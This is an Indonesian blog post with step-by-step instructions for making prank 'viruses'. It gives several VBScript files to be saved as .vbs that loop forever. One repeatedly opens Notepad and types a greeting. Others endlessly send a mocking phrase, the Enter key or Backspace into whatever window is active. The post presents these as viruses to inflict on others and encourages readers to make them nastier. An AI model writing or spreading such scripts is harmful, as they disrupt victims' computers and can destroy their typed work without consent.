Cara buat virus nakal 2

Cara buat virus nakal 2

Nah gue juga punya script buat virus yang laennya....nih gue post buat lo semua...

Gni caranya :
1. Buka Notepad
2. Terus lo copy deh script dibawah ni.
3. Inget savenya make format name.vbs

WScript.Sleep 18000

WScript.Sleep 1000

do

Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Run "notepad"

WScript.Sleep 100

WshShell.AppActivate "Notepad"

WScript.Sleep 500

WshShell.SendKeys "H"

WScript.Sleep 500

WshShell.SendKeys "a"

WScript.Sleep 500

WshShell.SendKeys "l"

WScript.Sleep 500

WshShell.SendKeys "o"

WScript.Sleep 500

WshShell.SendKeys ". "

WScript.Sleep 500

WshShell.SendKeys "a"

WScript.Sleep 500

WshShell.SendKeys "p"

WScript.Sleep 500

WshShell.SendKeys "a"

WScript.Sleep 500

WshShell.SendKeys " "

WScript.Sleep 500

WshShell.SendKeys "k"

WScript.Sleep 500

WshShell.SendKeys "a"

WScript.Sleep 500

WshShell.SendKeys "b"

WScript.Sleep 500

WshShell.SendKeys "a"

WScript.Sleep 500

WshShell.SendKeys "r"

WScript.Sleep 500

WshShell.SendKeys "?"

WScript.Sleep 500

WshShell.SendKeys " "

WScript.Sleep 500

WshShell.SendKeys "K"

WScript.Sleep 500

WshShell.SendKeys "a"

WScript.Sleep 500

WshShell.SendKeys "b"

WScript.Sleep 500

WshShell.SendKeys "a"

WScript.Sleep 500

WshShell.SendKeys "r"

WScript.Sleep 500

WshShell.SendKeys " "

WScript.Sleep 500

WshShell.SendKeys "b"

WScript.Sleep 500

WshShell.SendKeys "a"

WScript.Sleep 500

WshShell.SendKeys "i"

WScript.Sleep 500

WshShell.SendKeys "k"

WScript.Sleep 500

WshShell.SendKeys "?"

WScript.Sleep 500

wscript.sleep 5000

loop

Scripts diatas nanti otomatis buka notepad dan ketik: Halo. apa kabar? kabar baik?
ingat yah simpan dengan ekstensi nama .vbs, klik file–>save as

Kode Vbs ini akan membuat user terus mengetikkan kata2 “Kamu emang jelek koq!” :D

Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "Kamu emang jelak koq!"

loop

Dan membuat terus menerus menekan tombol “Enter”

Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "~(enter)"

loop

Terus tekan backspace:

MsgBox "Balik lagi ah...saltik"

Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{bs}"

loop

Oke mungkin segitu dulu ilmu dari gue nih.....kalo mau buat yang lebih nakal lagi virusnya,,lo coba-coba aja edit script di atas

by http://anjingsurga.blogspot.com